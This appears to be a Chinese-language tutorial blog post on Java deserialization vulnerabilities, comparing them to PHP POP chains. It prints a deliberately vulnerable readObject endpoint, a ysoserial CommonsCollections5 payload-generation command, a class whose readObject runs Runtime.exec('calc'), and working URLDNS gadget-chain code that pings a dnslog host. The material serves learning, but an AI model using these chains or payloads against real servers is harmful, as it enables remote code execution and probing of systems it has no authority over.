共计 7226 个字符,预计需要花费 19 分钟才能阅读完成。

基础:
Java 入门
面向对象编程的核心思想
建议没有 Java 基础先学习上面这两篇文章
其实 Java 反序列化和 PHP 反序列化很多地方都一样,我们可以用类比的方法来学习 Java 反序列化
| 特性 | PHP 反序列化 | Java 反序列化 |
|---|---|---|
| 序列化函数 | serialize() (生成字符串) |
ObjectOutputStream.writeObject() (生成字节流) |
| 反序列化函数 | unserialize() |
ObjectInputStream.readObject() |
| 触发点 (Magic Method) | __wakeup(), __destruct(), __toString() |
readObject(), readExternal(), readResolve() |
| 利用链名称 | POP Chain (Property-Oriented Programming) | Gadget Chain |
| 执行载体 | 依靠类中的魔术方法串联逻辑 | 依靠接口实现类(如 Transformer)和反射串联 |
| 最终危害 | 远程代码执行 (RCE) / 文件读写 | 远程代码执行 (RCE) |
PHP
-
入口: 当你
unserialize()一个对象时,PHP 会自动寻找并执行该类里的__wakeup()方法(如果存在)。 -
过程: 攻击者构造一个 A 对象,A 的
__destruct()(销毁时触发)里调用了 B 对象的某个方法,而 B 对象的那个方法又恰好包含敏感操作。 -
关键: PHP 极其依赖这些“魔术方法”作为链条的连接点。
Java 的逻辑:隐式调用
-
入口: Java 在
readObject()恢复对象状态时,会根据类定义的逻辑执行代码。 -
过程: Java 不仅仅靠魔术方法,它更多利用 接口回调 和 反射。比如一个
Map在恢复时,为了保证数据的唯一性,会调用 key 对象的hashCode()或equals()。 -
关键: Java 的链条通常更长、更隐蔽,利用的是类库(如 Commons Collections)之间复杂的调用关系。
演示:
先来看看 Java 反序列化代码(From Hello-Java-Sec)
// readObject,读取输入流, 并转换对象。ObjectInputStream.readObject() 方法的作用正是从一个源输入流中读取字节序列,再把它们反序列化为一个对象。// 生成 payload:java -jar ysoserial-0.0.6-SNAPSHOT-BETA-all.jar CommonsCollections5 "open -a Calculator" | base64
public String cc(String base64) {
try {
base64 = base64.replace(" ", "+");
byte[] bytes = Base64.getDecoder().decode(base64);
ByteArrayInputStream stream = new ByteArrayInputStream(bytes);
// 反序列化流,将序列化的原始数据恢复为对象
ObjectInputStream in = new ObjectInputStream(stream);
in.readObject();
in.close();
return "反序列化漏洞";
} catch (Exception e) {return e.toString();
}
}
我们可以在 yakit 的 Yso-Java Hack 里面生成 payload,这里我用的是 CC5 链


最主要的问题就是 `in.readObject();`, 这里的被实例化的对象是我们自己可控的。# 原理:我们先从最基本反序列化开始
```java
//Person.java
package org.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private int age;
public String name;
public static int id;
public Person() {}
public Person(int age, String name) {
this.age = age;
this.name = name;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '''+", age="+ age +'}';
}
}
//SerializationTest.java
package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class SerializationTest {public static void serialize(Object obj) throws IOException {ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("serial.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception {Person person = new Person(114514, "rycarl");
serialize(person);
}
}
//UnserializeTest.java
package org.example;
import java.io.*;
public class UnserializeTest {public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws IOException, ClassNotFoundException {Person person = (Person) unserialize("serial.bin");
System.out.println(person);
}
}
UnserializeTest.java会从 serial.bin 里面读取二进制数据,然后将数据还原成对象

其中 Object obj = ois.readObject(); 是其中的关键
服务端需要反序列化我们传送的数据,那么就需要调用 readObject。
而用户可以在自己 传递的类中重写 readObject,也就给予 攻击者在服务器上运行代码 的能力。
比如我们改一下 person.java 的 readobject
package org.example;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable {
private int age;
public String name;
public static int id;
public Person() {}
public Person(int age, String name) {
this.age = age;
this.name = name;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '''+", age="+ age +'}';
}
@Deprecated
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {ois.defaultReadObject();
// 在反序列化时执行任意代码
Runtime.getRuntime().exec("calc");
}
}
就可以执行 calc
真实场景中,往往是在各种开源组件(比如 Commons Collections)中寻找一条“调用链”(被称为 Gadget Chain)。就像多米诺骨牌一样:readObject() 触发了方法 A,方法 A 调用了方法 B,方法 B 又调用了方法 C……最终方法 C 恰好执行了危险命令。只要把这些对象巧妙地组合在一起进行序列化,就能完成攻击。
那么,我们就知道了反序列化需要的条件
1 想要序列化肯定要 implements Serializable
2 入口类 source (重写 readObject 调用常见的函数 参数类型宽)
3 调用链 gadget chain 相同名称 相同类型
4 执行类 sink (rce ssrf 写文件等等)最重要
那么什么类才能满足这么多的要求呢?
大名鼎鼎的 hashmap 刚好就满足这上面所有的要求,而且我们我们后面学的很多链子都是以他为起点
那么我们来看一下最简单的 URLDNS 链执行流程
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class test {public static void main(String[] args) throws Exception {HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://asd.5cb4cde9.log.dnslog.pp.ua.");
Field hashCodeField = URL.class.getDeclaredField("hashCode");
hashCodeField.setAccessible(true);
hashCodeField.set(url, 123);
map.put(url, "test");
hashCodeField.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urldns.ser"));
oos.writeObject(map);
oos.close();
System.out.println("--- 服务器启动,等待反序列化数据 ---");
FileInputStream fis = new FileInputStream("urldns.ser");
ObjectInputStream ois = new ObjectInputStream(fis);
System.out.println("--- 正在执行 readObject() ---");
ois.readObject();
ois.close();
System.out.println("--- 反序列化结束 ---");
}
}
我们先新建一个 hashmap 和 URL 对象, 把 URL 塞进 hashmap 里面
HashMap<URL, String> map = new HashMap<>();
URL url = new URL("http://asd.5cb4cde9.log.dnslog.pp.ua.");
Field hashCodeField = URL.class.getDeclaredField("hashCode");
map.put(url, "test");
代码里面有一段有关设置 hashcode 的地方
hashCodeField.setAccessible(true);
hashCodeField.set(url, 123);
hashCodeField.set(url, -1);
这个我们先占时不管他,因为这里是为了在序列化的时候不触发 DNS 解析
然后文件生成后会进行反序列化,我们来看看函数内部的实现
hashmap 实现了自己的 readobject 类
private void readObject(ObjectInputStream s)
throws IOException, ClassNotFoundException {ObjectInputStream.GetField fields = s.readFields();
// Read loadFactor (ignore threshold)
float lf = fields.get("loadFactor", 0.75f);
if (lf <= 0 || Float.isNaN(lf))
throw new InvalidObjectException("Illegal load factor:" + lf);
lf = Math.min(Math.max(0.25f, lf), 4.0f);
HashMap.UnsafeHolder.putLoadFactor(this, lf);
reinitialize();
s.readInt(); // Read and ignore number of buckets
int mappings = s.readInt(); // Read number of mappings (size)
if (mappings < 0) {throw new InvalidObjectException("Illegal mappings count:" + mappings);
} else if (mappings == 0) {// use defaults} else if (mappings > 0) {float fc = (float)mappings / lf + 1.0f;
int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
DEFAULT_INITIAL_CAPACITY :
(fc >= MAXIMUM_CAPACITY) ?
MAXIMUM_CAPACITY :
tableSizeFor((int)fc));
float ft = (float)cap * lf;
threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
(int)ft : Integer.MAX_VALUE);
// Check Map.Entry[].class since it's the nearest public type to
// what we're actually creating. SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);
@SuppressWarnings({"rawtypes","unchecked"})
Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
table = tab;
// Read the keys and values, and put the mappings in the HashMap
for (int i = 0; i < mappings; i++) {@SuppressWarnings("unchecked")
K key = (K) s.readObject();
@SuppressWarnings("unchecked")
V value = (V) s.readObject();
putVal(hash(key), key, value, false, false);
}
}
}
最后我们会进行到putVal(hash(key), key, value, false, false);
进入 hash 函数
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
会发现调用了 hashcode 方法,那么我们来看看 URL 类的 hashcode 方法
protected int hashCode(URL u) {
int h = 0;
// Generate the protocol part.
String protocol = u.getProtocol();
if (protocol != null)
h += protocol.hashCode();
// Generate the host part.
InetAddress addr = getHostAddress(u);
if (addr != null) {h += addr.hashCode();
} else {String host = u.getHost();
if (host != null)
h += host.toLowerCase().hashCode();
}
看到 getHostAddress 应该就知道了吧,会进行 DNS 请求获取 IP
而之前我们提到的为什么要设置 hashCode 是因为在 URL 类里面有这样一段代码
public synchronized int hashCode() {if (hashCode != -1)
return hashCode;
hashCode = handler.hashCode(this);
return hashCode;
}
我们先要设置一个 hashCode 为不是 - 1 的值,我们在 map.put(url, "test"); 函数中也会触发一次 hashCode,为了使其不解析我们设置为非 -1,重新设为 - 1 是因为如果不设置那么在我们的机器上这个值为非 - 1 后面的反序列化不会触发 DNS 解析了。